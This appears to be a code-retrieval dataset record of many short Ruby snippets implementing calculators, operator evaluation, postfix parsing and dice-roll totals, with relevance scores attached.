"def calculator(operation, num1, num2)\n \n if [\"+\", \"-\", \"*\" , \"/\"].include?(operation)\n num1.method(operation).(num2)\n else\n puts \"Invalid operation!\"\n nil\n end\nend",
"def pack_doper(operator, token) #:nodoc:\n doper = ''\n string = ''\n\n # Return default doper for non-defined filters.\n if operator.nil?\n return pack_unused_doper, string\n end\n\n if token.to_s =~ /^blanks|nonblanks$/i\n doper = pack_blanks_doper(operator, token)\n elsif operator == 2 or\n !(token.to_s =~ /^([+-]?)(?=\\d|\\.\\d)\\d*(\\.\\d*)?([Ee]([+-]?\\d+))?$/)\n # Excel treats all tokens as strings if the operator is equality, =.\n string = token.to_s\n\n encoding = 0\n length = string.length\n\n # Handle utf8 strings\n if string =~ NonAscii\n string = NKF.nkf('-w16B0 -m0 -W', string)\n encodign = 1\n end\n\n string = [encoding].pack('C') + string\n doper = pack_string_doper(operator, length)\n else\n string = ''\n doper = pack_number_doper(operator, token)\n end\n\n return [doper, string]\n end",
"def sum (operator, a, b)\n if operator == \"exponents\"\n a ** b\n elsif operator == \"square root\"\n Math.sqrt(a)\n end\nend",
"def execWithOperator(env)\n operatorToken = Ruby::Token.new(self.operator.token[/(.*)=/, 1])\n binaryExpression = Ruby::Binary.new(operatorToken, self.left, self.right)\n #return the partial evaluation result of the newly created binary expression.\n binaryExpression.pe(env)\n end",
"def evaluate_postfix(postfix)\n postfix = postfix.gsub(\" \", \"\") # remove spaces and get a new string\n operands = Stack.new\n postfix.chars do |token|\n if not operator?(token)\n # operand, push to operand stack\n operands.push token.to_i\n else\n operand2 = operands.pop\n operand1 = operands.pop\n result = nil\n case token\n when \"+\"\n result = operand1 + operand2\n when \"-\"\n result = operand1 - operand2\n when \"*\"\n result = operand1 * operand2\n when \"/\"\n result = operand1 / operand2\n end\n operands.push result if result\n end\n end\n operands.pop # final result on the stack\n end",
"def calculator(operator_active, num1, num2)\n case operator_active\n when \"+\"\n return num1 + num2\n when \"-\"\n return num1 - num2\n when \"*\"\n return num1 * num2\n when \"/\"\n return num1 / num2\n end\nend",
"def arithmetic(a, b, operator)\n if operator == \"add\"\n a + b\n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a/b\n else\n print \"hahaa\"\n end\nend",
"def arithmeticUnary(op)\n str = getTopOfStack + \"M=\"+op+\"M\"+\"\\n\"\n return str+\"\\n\"\nend",
"def operator; end",
"def eval_operation(node, env, stack_trace)\n\n\t# Evaluate both sides of operation (discard returned environment)\n\tleft, _ = eval_node_under(node.left, env, stack_trace)\n\tright, _ = eval_node_under(node.right, env, stack_trace)\n\n\tif left == nil or right == nil\n\t\treturn nil, env\n\tend\n\n\t# TODO: Add more operations.\n\tcase node.operator.value\n\twhen \"+\"\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn add_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn add_term_and_term_list(left, right), env\n\t\tin [TermList, Term]\n\t\t\treturn add_term_and_term_list(left, right), env\n\t\tin [TermList, TermList]\n\t\t\treturn add_term_list_and_term_list(left, right), env\n\t\tin [Fraction, Term]\n\t\t\treturn add_fraction_and_term(left, right), env\n\t\tin [Term, Fraction]\n\t\t\treturn add_fraction_and_term(right, left), env\n\t\tin [Fraction, TermList]\n\t\t\treturn add_fraction_and_term_list(left, right), env\n\t\tin [TermList, Fraction]\n\t\t\treturn add_fraction_and_term_list(right, left), env\n\t\tin [Fraction, Fraction]\n\t\t\treturn add_fraction_and_fraction(left, right), env\t\n\t\tin [Matrix, Matrix]\n\t\t\treturn add_two_matrices(left, right), env\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"-\"\n\t\tputs \"inter l: #{__LINE__} -- IMPORTANT NOTE: Using a subtraction.\" # TODO: Does this ever get used now that I've inverted a - b to a + (-b)?\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn subtract_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn subtract_term_list_from_term(right, left), env\n\t\tin [TermList, Term]\n\t\t\treturn subtract_term_from_term_list(right, left), env\n\t\tin [TermList, TermList]\n\t\t\treturn subtract_term_list_from_term_list(left, right), env\n\t\tin [Matrix, Matrix]\n\t\t\treturn subtract_matrix_minus_matrix(left, right), env\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"*\"\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn multiply_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn multiply_term_and_term_list(left, right), env\n\t\tin [TermList, Term]\n\t\t\treturn multiply_term_and_term_list(left, right), env\n\t\tin [TermList, TermList]\n\t\t\treturn multiply_term_list_and_term_list(left, right), env\n\t\tin [Fraction, Term]\n\t\t\treturn multiply_fraction_and_term(left, right), env\n\t\tin [Term, Fraction]\n\t\t\treturn multiply_fraction_and_term(right, left), env\n\t\tin [Fraction, TermList]\n\t\t\treturn multiply_fraction_and_term_list(left, right), env\n\t\tin [TermList, Fraction]\n\t\t\treturn multiply_fraction_and_term_list(right, left), env\n\t\tin [Fraction, Fraction]\n\t\t\treturn multiply_fraction_and_fraction(left, right), env\t\n\t\tin [Matrix, Matrix]\n\t\t\treturn multiply_two_matrices(left, right), env\n\t\tin [Matrix, Term]\n\t\t\treturn multiply_matrix_and_term(left, right), env\n\t\tin [Term, Matrix]\n\t\t\treturn multiply_matrix_and_term(right, left), env\n\t\tin [Matrix, TermList]\n\t\t\treturn multiply_matrix_and_term_list(left, right), env\n\t\tin [TermList, Matrix]\n\t\t\treturn multiply_matrix_and_term_list(right, left), env\n\t\tin [Matrix, Fraction]\n\t\t\treturn multiply_matrix_and_fraction(left, right), env\n\t\tin [Fraction, Matrix]\n\t\t\treturn multiply_matrix_and_fraction(right, left), env\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"/\"\n\t\tcase [left, right]\n\t\tin [Term, Term]\n\t\t\treturn divide_two_terms(left, right), env\n\t\tin [Term, TermList]\n\t\t\treturn divide_term_by_term_list(left, right), env\n\t\tin [TermList, Term]\n\t\t\treturn divide_term_list_by_term(left, right), env\n\t\tin [TermList, TermList]\n\t\t\treturn divide_term_list_by_term_list(left, right), env\n\t\tin [Fraction, Term]\n\t\t\treturn divide_fraction_by_term(left, right), env\n\t\tin [Term, Fraction]\n\t\t\treturn divide_term_by_fraction(right, left), env\n\t\tin [Fraction, TermList]\n\t\t\treturn divide_fraction_by_term_list(left, right), env\n\t\tin [TermList, Fraction]\n\t\t\treturn divide_term_list_by_fraction(right, left), env\n\t\tin [Fraction, Fraction]\n\t\t\treturn divide_fraction_by_fraction(left, right), env\t\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\tend\n\twhen \"*!\"\n\t\tcase [left, right]\n\t\tin [Matrix, Matrix]\n\t\t\treturn tensor_product_of_two_matrices(left, right), env\n\t\telse\n\t\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented for left: #{left.type}, right: #{right.type}.\", node, stack_trace) \n\t\t\treturn nil, env\n\t\tend\n\telse\n\t\tthrow_error(\"Operator '#{node.operator.value}' not implemented.\", node, stack_trace) \n\tend\nend",
"def eval_math(string)\n number_stack = []\n operator_stack = []\n tokens = string.split(\" \")\n tokens.each_with_index do |n, i|\n if n == \"*\" \n number_stack << number_stack.pop.to_i * tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif n == \"/\" \n number_stack << number_stack.pop.to_i / tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif ['+','-'].include? n\n operator_stack << n\n else\n number_stack << n\n end\n puts \"evaling n: #{n}, number_stack #{number_stack} operator_stack #{operator_stack}\"\n end\n result = 0\n operator_stack.each do |o|\n if o == '+'\n number_stack[0] = number_stack.first.to_i + number_stack.delete_at(1).to_i\n end\n if o == '-'\n number_stack[0] = number_stack.first.to_i - number_stack.delete_at(1).to_i\n end\n end\n\n return number_stack[0]\n\nend",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n (SYMBOL_TABLE[token].arity - 1).times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(stack, token, *args))\n else\n stack.push(token)\n end\n end\n\n stack.pop\n end",
"def perform_op(token, evaluation, line, file_read)\n op2 = evaluation.pop\n op1 = evaluation.pop\n if op1.nil? || op2.nil?\n puts \"Line #{line}: Operator #{token} applied to an empty stack\"\n error_eval(2, line, nil, file_read)\n return false\n end\n ops = [op1, op2]\n check_operators(token, evaluation, line, file_read, ops)\n end",
"def operator\n node_parts[1]\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n SYMBOL_TABLE[token].arity.times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token even?\"\n end\n end\n\n stack.pop\n end",
"def rpn(operation)\n rpn_stack = Stack.new\n tokens = parse_tokens(operation)\n puts tokens.to_s\n tokens.each do |token|\n if !is_operator?(token)\n puts \"pushing token #{token}\"\n rpn_stack.push(token)\n else\n val2 = rpn_stack.pop\n val1 = rpn_stack.pop\n rpn_stack.push(calculate(val1,val2, token))\n end # end of if\n end # end of each\n rpn_stack.pop\nend",
"def calculator_method(number_one, operator, number_two)\n if operator == \"+\"\n return result = number_one + number_two\n elsif operator == \"-\"\n return result = number_one - number_two\n elsif operator == \"*\"\n return result = number_one * number_two\n else operator == \"/\"\n return result = number_one / number_two\n end\nend",
"def evaluate(input)\n if input.operator?\n perform_operation(input)\n else\n input\n end\n end",
"def calculator(x, operator, y)\r\n\r\n\tif ['+', '-', '*', '/'].include? operator\r\n\t\tcalculation = x.send(operator.to_sym, y) #send x to object (operator which has been converted to a symbol) and y. calculation will now = x (operator) y\r\n\telse\r\n\t\tputs \"ERROR! Invalid input. Please try again.\"\r\n\tend\r\n\treturn calculation #previously had this set to 'print' instead of 'return' which was causing issues when needing to print a history of values returned\r\nend",
"def basic_op(operator, value1, value2)\n value1.send(operator.value2)\nend",
"def parse_arithmetic_op(block)\n Blockly::Code::Op.new(\n next_block_id,\n block['title'][0]['content'],\n parse_block(block['value'][0]['block'][0]),\n parse_block(block['value'][1]['block'][0]))\n end",
"def visitOperator(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitOperator\")\r\n @@log.debug(elem.inspect)\r\n\r\n if (!elem.has_text?)\r\n @@log.error(\"An OPERATOR element does not have any text.\")\r\n return data\r\n end\r\n\r\n case elem.text\r\n when '<'\r\n data += ' < '\r\n\r\n when '>'\r\n data += ' > '\r\n\r\n when '<>', '<>'\r\n data += ' != '\r\n\r\n when 'OR'\r\n data += \" ||\\n\\t\\t\"\r\n\r\n when 'AND'\r\n data += \" &&\\n\\t\\t\"\r\n\r\n else\r\n data += \" #{elem.text} \"\r\n end\r\n\r\n return data\r\n end",
"def inputPrecedence(operator)\n if ['+', '-'].include? operator\n return 1\n elsif ['*', '/', '%'].include? operator\n return 2\n elsif '^'.eql? operator\n return 4\n else\n return 5\n end\n end",
"def calculate_answer(operator, a, b)\n if operator == \"add\"\n a + b \n elsif operator == \"subtract\"\n a - b\n elsif operator == \"multiply\"\n a * b\n elsif operator == \"divide\"\n a / b\n elsif operator == \"exponent\"\n a ** b\n elsif operator == \"modulus\"\n a % b\n end\nend",
"def expr_to_s\n buf = ''\n each_term do |term|\n if term[:operator]\n buf << term[:operator]\n end\n buf << term[:token]\n end\n buf\n end",
"def calculator_2(operator, *nums)\n nums.send(operator)\nend",
"def calculate_answer(operator, a, b)\n\n if operator == \"add\"\n return result= a + b\n elsif operator == \"subtract\"\n return result = a - b\n elsif operator == \"multiply\"\n return result = a * b\n elsif operator == \"divide\"\n return result = a / b\n\nend",
"def plus\n\t\tif @operands.size>= 2\n\t\t\[email protected] (@operands.pop + @operands.pop)\n\t\telse\n\t\t\traise \"calculator is empty\"\n\t\tend\n\tend",
"def operator_method(string)\n known_operations[string]\n end",
"def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end",
"def calculator_1(operator, num1, num2)\n outcome = num1.send(operator, num2)\nend",
"def evaluate_operator(left, right)\n left >= right\n end",
"def basic_op(operator, value1, value2)\n value1.send(operator, value2)\nend",
"def convert_operator_to_text(op)\n case op\n when '1'\n 'add'\n when '2'\n 'subtract'\n when '3'\n 'multiply'\n when '4'\n 'divide'\n end\nend",
"def evaluate_operator(left, right)\n left <= right\n end",
"def stackPrecedence(operator)\n if ['+', '-'].include? operator\n return 1\n elsif ['*', '/', '%'].include? operator\n return 2\n elsif '^'.eql? operator\n return 3\n else\n return -1\n end\n end",
"def calculator_method(operator, number_1, number_2)\n case operator\n when \"add\"\n total = number_1 + number_2\n when \"+\"\n total = number_1 + number_2\n when \"subtract\"\n total = number_1 - number_2\n when \"-\"\n total = number_1 - number_2\n when \"multiply\"\n total = number_1 * number_2\n when \"x\"\n total = number_1 * number_2\n when \"*\"\n total = number_1 * number_2\n when \"divide\"\n total = number_1.to_f / number_2.to_f\n when \"/\"\n total = number_1.to_f / number_2.to_f\n end\n return total\nend",
"def evaluate_operator(left, right)\n left < right\n end",
"def handle_operation(equation)\n # Check for first of either multiplication or division\n multiply_or_division = equation.find_index { |o| o == '*' || o == '/' }\n # Then check for addition or subtraction\n addition_or_subtraction = equation.find_index { |o| o == '+' || o == '-' }\n\n # Multiplication/Division first, then try addition/subtraction\n operator_location = multiply_or_division || addition_or_subtraction\n\n # Grab operator to do the maths\n operator = equation[operator_location]\n\n # Locate the numbers it is operating on\n first_int = equation[operator_location - 1].to_f\n second_int = equation[operator_location + 1].to_f\n\n # Perform operation\n operator_result = first_int.send(operator, second_int)\n\n # Replace in complete array and remove surrounding numbers\n equation[operator_location] = operator_result\n equation.delete_at(operator_location + 1)\n equation.delete_at(operator_location - 1)\n equation\n end",
"def operator_to_string\n {\n \"+\" => 'plus', \n \"-\" => 'minus'\n }\n end",
"def arithmetic_op(op,ins_1,ins_2,do_sanitizing=true)\n begin\n amount = ''\n if do_sanitizing\n ins_2 = Money::InputSanitizer.sanitize_money_live_converter(ins_2)\n if ( ins_1.currency == ins_2.currency )\n amount = ins_1.amount.to_f.public_send(op,ins_2.amount.to_f)\n else\n amount = ins_1.amount.to_f.public_send(op,ins_2.convert_to(ins_1.currency).amount.to_f)\n end\n else\n amount = ins_1.amount.to_f.public_send(op,ins_2.to_f)\n end\n if (['==','<','>'].include?(op))\n return amount\n else\n Money::LiveConverter.new(amount,ins_1.currency)\n end\n rescue RuntimeError => e\n puts \"#{e.message}\"\n end\n end",
"def parse_operation(cur_tok, cur_tok_is_ast=false)\n\n\t\tif not cur_tok_is_ast\n\t\t\tleft_ast = parse_single_token cur_tok\n\t\telse\n\t\t\tleft_ast = cur_tok\n\t\tend\n\n\t\tif @tokens.peak.value == \"-\" # Turn (left - right) into (left + (- right))\n\t\t\top = Operator.new(@tokens.peak.line, @tokens.peak.col, \"+\")\n\t\t\tminus = @tokens.next # Must eat the '-' operator before parse_next (but save for later)\n\t\t\tright_ast = parse_next\n\t\t\tright_ast = UnaryOperation.new(right_ast.line, right_ast.col, minus, right_ast)\n\t\telse\t\n\t\t\top = parse_single_token @tokens.next\n\t\t\tright_ast = parse_next\n\t\tend \n\n\t\tif not right_ast\n\t\t\tthrow_error(\"EOF occured while parsing the right side of an operator.\", op)\n\t\telsif op.value == \"=\"\n\t\t\treturn Assignment.new(cur_tok.line, cur_tok.col, left_ast, right_ast)\n\t\telsif right_ast.type == \"Operation\"\n\t\t\tif get_operator_priority(op) <= get_operator_priority(right_ast.operator)\n\t\t\t\treturn Operation.new(cur_tok.line, cur_tok.col, left_ast, op, right_ast)\n\t\t\telse\n\t\t\t\t# Put this Operation in the left slot of the right_ast (because this AST node's priority is higher).\n\t\t\t\tright_ast.left = Operation.new(cur_tok.line, cur_tok.col, left_ast, op, right_ast.left)\n\t\t\t\treturn right_ast\n\t\t\tend\n\t\tend\n\t\treturn Operation.new(cur_tok.line, cur_tok.col, left_ast, op, right_ast)\n\tend",
"def calculator(op, num1, num2)\n if op == \"add\" || op == \"+\" || op == \"addition\"\n return num1 + \" + \" + num2 + \" = #{add(num1.to_i, num2.to_i)}\"\n elsif op == \"subtract\" || op == \"-\" || op == \"subtraction\"\n return num1 + \" - \" + num2 + \" = #{sub(num1.to_i, num2.to_i)}\"\n elsif op == \"multiply\" || op == \"*\" || op == \"multiplication\"\n return num1 + \" * \" + num2 + \" = #{mult(num1.to_i, num2.to_i)}\"\n elsif op == \"divide\" || op == \"/\" || op == \"division\"\n return num1 + \" / \" + num2 + \" = #{div(num1.to_i, num2.to_i)}\"\n elsif op == \"modulo\" || op == \"remainder\" || op == \"%\"\n return num1 + \" % \" + num2 + \" = #{mod(num1.to_i, num2.to_i)}\"\n else op == \"exponent\" || op == \"^\"\n return num1 + \"^\" + num2 + \" = #{exponent(num1.to_i, num2.to_i)}\"\n end\nend",
"def complete_operator(node)\n definition.operator_by_field_name(node.value).map { |o| o.end_with?(' ') ? o : \"#{o} \" }\n end",
"def inputPrecedence(operator)\n if operator == \"+\" || operator == \"-\"\n\t\t\treturn 1\n\t\tend\n\n if operator == \"*\" || operator == \"/\" || operator == \"%\"\n\t\t\treturn 2\n\t\tend\n\n if operator == \"^\"\n\t\t\treturn 4\n\t\tend\n\n if operator == \"(\"\n\t\t\treturn 5\n\t\tend\n\n end",
"def calculate_answer(operator, a, b)\n\tif operator == \"add\"\n \ta + b\n\telsif operator == \"subtract\"\n \t\ta - b\n\telsif operator == \"multiply\"\n \ta * b\n\telsif operator == \"divide\"\n \ta / b\n\telsif operator == \"square\"\n \t\ta ** b\n\telsif operator == \"bmi\"\n \t\ta / (b ** 2)\n\tend\nend",
"def operation(operator, num1, num2)\n case operator \n when 1 \n puts \"The operational result is: #{num1.to_f + num2.to_f}\"\n puts \"==> #{num1.to_s} + #{num2.to_s} = #{num1.to_f + num2.to_f}\"\n when 2 \n puts \"The operational result is: #{num1.to_f - num2.to_f}\"\n puts \"==> #{num1.to_s} - #{num2.to_s} = #{num1.to_f - num2.to_f}\"\n when 3\n puts \"The operational result is: #{num1.to_f * num2.to_f}\"\n puts \"==> #{num1.to_s} * #{num2.to_s} = #{num1.to_f * num2.to_f}\"\n else\n puts \"The operational result is: #{num1.to_f / num2.to_f}\"\n puts \"==> #{num1.to_s} / #{num2.to_s} = #{num1.to_f / num2.to_f}\"\n end\nend",
"def arithmeticBinary(op)\n str = getTopTwoFromStack + \"M=M\"+op+\"D\"+\"\\n\"\n return str+\"\\n\"\nend",
"def basic_op(operator, value1, value2)\nvalue1.send operator, value2\nend",
"def operator_ruby_string\n operator_string + \" \"\n end",
"def operation_of(a, b, op)\n if op == \"add\"\n return a + b\n elsif op == \"subtract\"\n return a - b\n elsif op == \"multiply\"\n return a * b\n elsif op == \"divide\"\n if b == 0\n return \"undefined\"\n else\n return a / b\n end\n end\nend",
"def calculate(starting_value, operations)\n for i in 0...operations.length\n # just in case an unexpected operator is given:\n if '*/+-'.include?(operations[i][0]) == false\n puts 'unexpected operator!'\n break\n end\n \n if operations[i][0] == \"*\"\n starting_value *= operations[i][1]\n elsif operations[i][0] == \"+\"\n starting_value += operations[i][1]\n elsif operations[i][0] == \"-\"\n starting_value -= operations[i][1]\n else\n starting_value /= operations[i][1]\n end\n end\n starting_value\nend",
"def parse(expr)\n tokens = expr.chomp.strip.split('+')\n tokens.map(&:to_f).inject(:+)\n end",
"def operator?(node, operator)\n return if node == nil\n operator?(node.left, operator) #starts recursion -- go left\n if node.value.match(/\\+|\\-|\\/|\\%|\\*/) && (node.value == operator.value) #if operators included\n return true #true\n end\n operator?(node.right, operator) #recursion -- go right\nend",
"def operation(o, x, y)\n case o\n when '+'\n x + y\n when '-'\n x - y\n when 'x'\n x * y\n when '/'\n x / y\n else\n raise \"invalid operation #{o}\"\n end\nend",
"def result \n return @left_operand + @right_operand\n end",
"def test_compose_operator\n tokenizer = Tokenizer.new\n tokenizer.text = \"<><=<>=\"\n tokenizer.tokenize\n tokens = tokenizer.tokens\n\n #test type of token\n assert_equal(\"OperatorToken\", tokens.first.class.name)\n\n #test values\n assert_equal(\"TEMPLATE\", tokens.first.val_name)\n assert_equal(\"LESS-OR-EQUAL\", tokens[1].val_name)\n assert_equal(\"TEMPLATE\", tokens[2].val_name)\n assert_equal(\"ASSIGMENT\", tokens.last.val_name)\n\n #test position of <=\n assert_equal(1, tokens[1].line_info)\n assert_equal(2, tokens[1].start_index)\n assert_equal(4, tokens[1].end_index)\n end",
"def basic_op(operator, value1, value2)\nvalue1.send(operator,value2)\nend",
"def Calculator(leftParam, rightParam, operator)\n\n case operator\n\n when \"+\"\n return leftParam + rightParam;\n when \"*\"\n\n i = 0\n result = 0\n while i < leftParam #2\n result = result + rightParam #@\n i= i + 1\n end\n\n return result\n end\nend",
"def check_op (oper)\n if oper == 'add' || oper == '+'\n puts \"+ + Let's add 'em up! + +\"\n return operator = '+'\n elsif oper == 'subtract' || oper == '-'\n puts \"- - Let's subtract! - -\"\n return operator = '-'\n elsif oper == 'multiply' || oper == '*'\n puts \"* * It's time to multiply! * *\"\n return operator = '*'\n elsif oper == 'divide' || oper == '/'\n puts \"/ / Let's divide 'em up! / /\"\n return operator = '/'\n elsif oper == 'exponent' || oper == '**'\n puts \"^ ^ Let's power 'em up! ^ ^\"\n return operator = '**'\n elsif oper == 'remainder' || oper == '%'\n puts \"% % Let's find the remainder! % %\"\n return operator = '%'\n end\nend",
"def calculate(x, operator, y)\n\t# lots of ways to do the below part ...\n\t# if/elsif would have worked,\n\t# as would a case statement\n\treturn x + y if operator == '+'\n\treturn x - y if operator == '-'\n\treturn x * y if operator == '*'\n\treturn x / y if operator == '/'\nend",
"def operation_of(a, b, op)\n if op == \"add\"\n return a + b\n elsif op == \"subtract\"\n return a - b \n elsif op == \"multiply\"\n return a * b \n elsif op == \"divide\"\n if b == 0\n return \"undefined\"\n else\n return a / b\n end\n end\nend"
] |
[
"0.83102626",
"0.7394833",
"0.7358377",
"0.7324891",
"0.72916377",
"0.7288666",
"0.7259138",
"0.72266454",
"0.72123647",
"0.71408975",
"0.7093812",
"0.7065005",
"0.7044905",
"0.702743",
"0.69931936",
"0.69790673",
"0.69708884",
"0.6968326",
"0.6948321",
"0.69324976",
"0.69323444",
"0.69319195",
"0.6924287",
"0.6922593",
"0.691145",
"0.69110304",
"0.6910318",
"0.6905295",
"0.68949854",
"0.6885355",
"0.68804145",
"0.68721765",
"0.68240035",
"0.6817143",
"0.68142396",
"0.680296",
"0.67805004",
"0.67783827",
"0.6773633",
"0.6769259",
"0.67637926",
"0.6740732",
"0.67097574",
"0.6706626",
"0.6699549",
"0.6651244",
"0.66485876",
"0.6647064",
"0.66318595",
"0.6630343",
"0.6616439",
"0.6615362",
"0.6594345",
"0.6592148",
"0.6590611",
"0.65833396",
"0.6581323",
"0.65746397",
"0.65618676",
"0.6554132",
"0.65468985",
"0.6546733",
"0.654025",
"0.65340215",
"0.65318644",
"0.6527819",
"0.6524364",
"0.6515869",
"0.6514272",
"0.6513258",
"0.6495047",
"0.6493799",
"0.6487499",
"0.6487399",
"0.6482183",
"0.64774203",
"0.64752984",
"0.6464975",
"0.64636177",
"0.64587003",
"0.64464617",
"0.6446435",
"0.64174265",
"0.6406956",
"0.6404309",
"0.6399593",
"0.63941926",
"0.63891554",
"0.63877326",
"0.6375742",
"0.63715833",
"0.63687193",
"0.63686776",
"0.6368342",
"0.6349657",
"0.63385326",
"0.63377243",
"0.633492",
"0.6316318",
"0.6311534"
] |
0.81397116
|
1
|
Takes a roll token, appends the roll results, and returns the total
|
def process_roll_token(_event, token)
begin
dice_roll = DiceBag::Roll.new(token + @dice_modifiers)
# Rescue on bad dice roll syntax
rescue Exception => e
raise 'Roller encountered error with "' + token + @dice_modifiers + '": ' + e.message
end
token_total = dice_roll.result.total
# Check for reroll or indefinite reroll
reroll_check = dice_roll.result.sections[0].options[:reroll]
reroll_indefinite_check = dice_roll.result.sections[0].options[:reroll_indefinite]
if reroll_check > 0 || reroll_indefinite_check > 0
@reroll_count = dice_roll.result.sections[0].reroll_count
@show_rerolls = true
else
@show_rerolls = false
end
# Parse the roll and grab the total tally
parse_roll = dice_roll.tree
parsed = parse_roll.inspect
roll_tally = parsed.scan(/tally=\[.*?, @/)
roll_tally = String(roll_tally)
roll_tally.gsub!(/\[*("tally=)|"\]|"|, @/, '')
roll_tally.gsub!(/\[\[/, '[')
roll_tally.gsub!(/\]\]/, ']')
if @do_tally_shuffle == true
roll_tally.gsub!('[', '')
roll_tally_array = roll_tally.split(', ').map(&:to_i)
roll_tally = roll_tally_array.shuffle!
roll_tally = String(roll_tally)
end
@tally += roll_tally
token_total
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def total\n roll_all.reduce(&:+)\n end",
"def sum roll\n roll.reduce &:+\n end",
"def apply_roll_to_total(roll_reason, roll_result)\n case roll_reason\n when :basic, :reroll_new_die, :reroll_new_keeper, :reroll_replace\n @total = roll_result\n when :reroll_add\n @total += roll_result\n when :reroll_subtract\n @total -= roll_result\n when :reroll_use_best\n @total = [@value, roll_result].max\n when :reroll_use_worst\n @total = [@value, roll_result].min\n end\n end",
"def roll\n RollResult.new(temp_roll + temp_roll)\n end",
"def initialize(rolls)\n @rolls = rolls\n @result = rolls.reduce(:+)\n end",
"def score\n @rolls.reduce(:+)\n end",
"def score_roll\n @total_score += @roll + @next_roll\n @current_roll += 2\n end",
"def roll\n case rule\n when :each\n roll_all\n when :sum\n total\n when :worst\n take_worst\n when :best\n take_best\n end\n end",
"def roll_dice_and_process(player_id,roll_count,total_score)\n player_rolls = roll(roll_count)\n remaining_elements , roll_score = get_score(player_rolls)\n total_score[player_id] += roll_score\n puts \"Player #{player_id} rolls: #{player_rolls}\"\n puts \"Score in this round: #{roll_score}\"\n [remaining_elements,roll_score]\nend",
"def get_token_total( token )\n return token_counts( token, nil )\n end",
"def roll!\n @total = 0\n @dice_sets.each do |set|\n @total += set.roll!\n end\n @mods.each do |mod|\n @total += mod\n end\n\n @total\n end",
"def roll_and_plus(number_set)\n result_number = 0\n result_roll = []\n number_set.each do |set|\n unless set[:number_of_dice].nil? or set[:number_of_face].nil?\n buf = roll(set[:number_of_dice], set[:number_of_face])\n result_number = set[:operand].to_proc.call(result_number, buf[1].inject(:+))\n result_roll << buf[1]\n else\n result_number = set[:operand].to_proc.call(result_number, set[:alone_number])\n end\n end\n # \"#{result_number}: #{result_roll}\"\n {result: result_number, dice: result_roll}\n end",
"def add_roll(roll_result, roll_reason = :basic)\n raise ArgumentError, \"Unrecognised roll reason #{roll_reason}\" unless GamesDice::REROLL_TYPES.key?(roll_reason)\n\n @rolls << Integer(roll_result)\n @roll_reasons << roll_reason\n @total = 0 if @rolls.length == 1\n\n apply_roll_to_total(roll_reason, roll_result)\n\n @mapped = false\n @value = @total\n end",
"def roll_count\n @roll_count\n end",
"def sum(num, total) => total += num",
"def total(total)\n merge(total: total)\n end",
"def total(total)\n merge(total: total)\n end",
"def get_token_total_to_system_total(token)\n return token_relation( get_token_total(token), get_system_total )\n end",
"def get_token_total_to_pool_total(token, pool_name)\n return token_relation( get_token_total(token), get_pool_total(pool_name) )\n end",
"def frame_total\n (strike? || second_roll == NotRolled) ? first_roll : first_roll + second_roll\n end",
"def roll_stats\n total = 0\n stats = Array.new(5, 0)\n 5.times do |index|\n stats[index] = (rand(1..6) + 7)\n total += stats[index]\n end\n stats\n end",
"def total(numbers)\n\tnumbers.inject(:+)\nend",
"def total(list)\n list.reduce(:+)\nend",
"def total(list)\n\n p list.reduce(:+)\n \nend",
"def total\n @total ||= (\n tally = 0\n each do |w|\n tally += w.count\n end\n tally\n )\n end",
"def get_specific_token_to_system_total(token, pool_name)\n return token_relation( get_token_counts(token,pool_name), get_system_total )\n end",
"def regularScore(rollIndex)\n @rolls[rollIndex] + @rolls[rollIndex + 1]\n end",
"def lift_total\n # lifters.reduce(0) do |total, lifter|\n # total += lifter.lift_total\n # total\n lifers.sum { |lifter| lifter.lift_total }\n end",
"def total ( numbers )\r\n\r\n\treturn numbers.reduce(:+);\r\n\r\nend",
"def total\n @total ||= raw_plain['hits']['total']\n end",
"def total(numbers)\n return numbers.reduce(:+)\nend",
"def sum\n expired if (@now.call - @old) >= @window\n\n value = @writer\n i = 0\n while i < @slices\n value += @buf[i]\n i += 1\n end\n\n value\n end",
"def total(list)\n\tans = 0\n\tlist.each do |num|\n\t\tans = num + ans\n\tend\nend",
"def receive_winnings(amount)\n @bankroll += amount\n end",
"def total(numbers)\n numbers.reduce(:+)\nend",
"def roll( dice, sides, array, total )\n # Recursively roll dice and tally the frequency of each possible result.\n if 0 < dice\n (1..sides).each {|s| roll( dice - 1, sides, array, s + total )}\n else\n array[total - 1] += 1.0\n end\n end",
